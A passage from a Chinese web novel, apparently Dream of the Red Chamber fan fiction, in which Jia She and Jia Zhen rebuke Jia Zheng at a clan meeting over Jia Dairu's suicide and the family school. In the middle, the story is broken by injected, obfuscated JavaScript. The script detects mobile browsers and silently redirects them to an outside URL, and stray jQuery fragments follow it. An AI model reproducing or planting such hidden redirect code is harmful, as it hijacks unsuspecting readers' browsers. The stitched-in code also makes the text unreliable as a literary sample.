“珍哥儿慎言!”贾赦还没答话,横插进来一个威严古板的声音,“死者为大,老太爷又是你的长辈,如何能这般放肆!”
贾赦二人皱着眉头循声望去,竟意外地发现出声的是贾政。
贾赦眉头皱得更紧,他轻扯了下贾珍的衣袖,反问贾政,“今日并非休沐,你为何没去当差,反来了这里?”
“族里都要开祠堂了,我又怎能不来?”贾政跟着皱了眉,不赞同地看贾赦,“大哥,你明知此事,为何不曾告知于我?”
贾赦嗤笑一声,不闪不避地看回去,“你我未曾分家,荣国府已有我来了,莫非还不够?还是说,你觉得你我已是两家人,族中大事你定要出席才合适?”
贾政表情僵了一瞬,垂眸避开了贾赦的眼神。贾赦是荣国府袭爵的大老爷,就算心里再是觉得他无法作为荣国府话事人,贾政也绝对不能这样说。
至于两家人的说法,贾政更是不可能承认,于是他一时竟找不出话来回答。
“罢了,你来都来了,就一起去祠堂看看吧。”贾赦又嗤笑一声,扭头冲着贾珍示意。
贾珍会意地点头,冲着贾政露出一个标准微笑,“赦叔,二老爷,请。”
话音刚落,贾珍转身便走。于公他是贾家族长,于私这是他家,贾政一来就高高在上地指责他,就算他此时无礼了些,贾政也合该受着。
贾珍一走,贾赦立刻抬脚跟上。
剩下的贾政果然心中生了怒,然而罪魁祸首已经痛快抛下了他,他也只能收拾心情,赶紧跟上去。
一时到了祠堂,贾珍为首,族人们先后为祖宗们敬了香,这才来到厢房落座。
除贾赦三人外,今日所到族人并不多,不过贾代修、贾敕、贾效、贾敦和贾??而已,他们连带着刚刚过世的贾代儒,正是贾家在京中的八个房头。
贾珍坐在上首,将族人都扫了一眼,淡淡道,“今日请各位前来,所为何事,想必各位心中都有些数吧?”
贾代修等人沉着脸点头,贾家族人居所都离得不远,贾赦前往家塾的事,他们都已经了解得一清二楚。几人心中对贾代儒是一样的愤恨,偏偏人回了家就一死了之,令得他们连发泄都不能!
见此情形,贾珍心下满意,又问道,“那众位以为,该如何处置贾代儒一房?”
如何处置这一房?几人面面相觑,一时都愣住了。
他们是痛恨贾代儒,也不满他在受罚之前便死了,但是贾代儒这一房只剩下一个老妻和幼孙,他们却从未想过要迁怒他们。
“我知晓众位心善,又顾念人死为大,但若是开了‘犯下大错只要畏罪自尽便能一笔勾销’的口子,往后咱们贾氏一族有多少条命都不够赔的!”
贾珍手撑着桌子,挺直脊背扫视全场,声音阴恻恻,“要知道,本朝律例,连坐的罪名可不少!”
到时候罪魁祸首一了百了,他们这些族人,该砍头砍头,该抄家抄家,该流放流放,在座的一个都别想跑。
众人神色一凛,没错!不能开了这样的口子!必须要让族人心存敬畏才行!
贾代修看向贾珍,“不知族长以为,该要如何?”
“在说如何处置之前,先得确认了贾代儒的罪名才是。”贾珍正色道。
众人又是一愣,回过神来又纷纷点头。
家塾十多年未见成果,又风气败坏,究竟是贾代儒无能为力,还是玩忽职守,甚至故意为之,可是天差地别。他们不想轻纵了贾代儒,却也不愿冤枉了他。
“只是,”在座最为年轻,也是贾珍唯一的同辈贾??开口,“如今贾代儒已畏罪自尽,他的想法我们无从得知,如何定罪便更是麻烦了。”
“是啊!”
“??哥儿说的对!”
“他怎就死得这么快!”
……
族人们对贾??的话深以为然,愤愤地交流着,用语言发泄心头的不满。
贾赦把玩着茶盏悠悠然听着,贾珍满意之余,不屑地扫了贾政一眼。方才对着他一副高高在上、正义凛然的模样,如今就成了个闭口不言的鹌鹑。
准确接收到贾珍眼神的贾政霎时红了眼,握紧双拳狠狠瞪着贾珍。
奈何贾珍再没给他半点眼神,贾政累得眼睛快抽筋,才终于不甘地别开了视线,但他心里的怒意却是越烧越旺。
见众人的讨论声渐渐平息,贾政眼神隐晦地扫过贾珍和贾赦,对着族人们一脸谴责地道,“众位不必再说了,人过留踪,雁过留声,稍加用心,便能还原事情真相。”
贾代儒是在贾赦闹过家塾之后自尽身亡,无论如何,贾赦都脱不了干系,何必为了讨好贾珍贾赦,不顾亲族情谊、往贾代儒身上泼脏水?
贾政未曾将直白的劝诫说出口,但他的眼神却将他的心思袒露得淋漓尽致,也让所有贾家族人看向他的眼神都变得一言难尽。
好半晌,还是最年轻的贾??开口,试图为他解围,“政老爷,你是否并不知晓,贾代儒自尽的缘由?”
“我自然知晓。”贾政自信答道,随即面露歉然,“此事皆因我大哥所起。他以往从不曾在意家塾,昨日却破天荒地去学里考校,见学生们学得不好,便硬逼着代儒老太爷回家,这才……”
他闭上嘴,不赞同地看了贾赦一眼,重重地叹了一口气。
贾??双目微滞,欲言又止。
贾珍却是不愿和贾政客气,直截了当地问他,“所以,你是觉得,我赦叔仗势欺人,贾代儒受了无妄之灾,而我们这些人都在为虎作伥,对吧?”
“珍哥儿何必将话说得这么难听?”贾政狠狠皱眉,看了看贾赦,又是一声叹息,委婉道,“大哥素来不爱读书,见学生们不好,一时情急也是有的。”
“你说我不爱读书可以,但别加‘素来’两个字。”贾赦冷笑,直白地嘲讽,“我还记得与你一起上过几年学,在我彻底丢开书本之前,你可从来没有一处比我强。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282479|135759||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“或许后来你花了几年时日赶上了?奈何皇恩浩荡,给了你个官做,否则你或许还能考个两榜进士来证明一下你自己?”
“你!”贾政恨恨咬牙,怒瞪贾赦,却又反驳不能。
贾赦才不在意,乘胜追击,“来来来,你跟我说,一个学生读了十年书,背下了四书和诗经,却连句读都不对,是谁的问题?”
贾政眼睛又瞪大了一分,气愤地甩袖,“大哥你不要与我胡搅蛮缠!学生若是不用心,哪里能背下书来?若是用心又怎可能十年了连句读都不会?哪里会有你说的这种学生!”
“核桃,去把高远叫回来!”贾赦扬声冲着门外道。
“是,老爷!”核桃答应一声,便听他的脚步声匆匆远去。
贾赦重新看向贾政,“二弟别急,稍等一会,我这就让人把这个学生带来给你看。唔,对了,还有几个能背下四书的,同样句读错得一塌糊涂,你要我把他们一起叫回来吗?”
方才塾师们考校结束,贾赦便让贾珍安排学生们回学里上课了。毕竟他以为今日只是用贾代儒的事起个头,就能直入肃清风气的正题,谁知竟还出了贾政这个插曲!这还是他的亲弟弟!呵!
贾珍立刻主动请缨,“赦叔,在宁国府哪还需要劳烦你的人?我这就让人去把学生们全都追回来!”
“不必了!”贾政一声厉喝,脸上一阵青一阵红。
直到此刻,贾政总算明白过来,不是贾赦逼死了贾代儒,是贾代儒伪装的假面被贾赦戳破,又被逼得离开家塾,才会羞愧自尽。
从族人们今日的言行举止来看,此事他们也一清二楚,唯有贾政一个人收到的消息出了错。
而他的消息是从何而来?是周瑞夫妇前往贾代儒家帮忙,然后回来禀报的!
他们说,到了代儒家,才发现冷冷清清,以往在族中相互帮忙的族亲竟是一个都没有,他们心里便打了一个突。
等到见了尸体上的痕迹,又偶然从隔壁族亲口中听到贾赦的名字,再从贾瑞口中问出贾赦在家塾的所作所为,他们立时猜到了“真相”。
定是贾赦自觉这些日子已在荣国府站稳了脚跟,想要到族中立威。不想拿贾代儒开刀时用力过猛,逼得贾代儒直接上吊了。
全然忘记自己听到消息时的深信不疑,贾政在心里将周瑞夫妻骂了个狗血喷头,然后对着贾赦扯了扯嘴角,“大哥,是我的错,我不该听信外头的风言风语,误会了你。”
不等贾赦答话,他又急急为自己辩解,“只是我这些年独自支撑荣国府,不敢有半点行差踏错,生怕辱没了门楣,故而今日才会同样苛刻的要求你。”
“谁知却是我矫枉过正,冤枉了你。还请大哥大人有大量,不要与我一般见识。”
“这些年确实是辛苦你了,冤不冤枉的也别再提了。”贾赦意味不明地笑了笑,拍了拍他的肩膀,淡淡道,“不过你放心,如今我已知晓你的难处,往后自不会再让你独木难支。”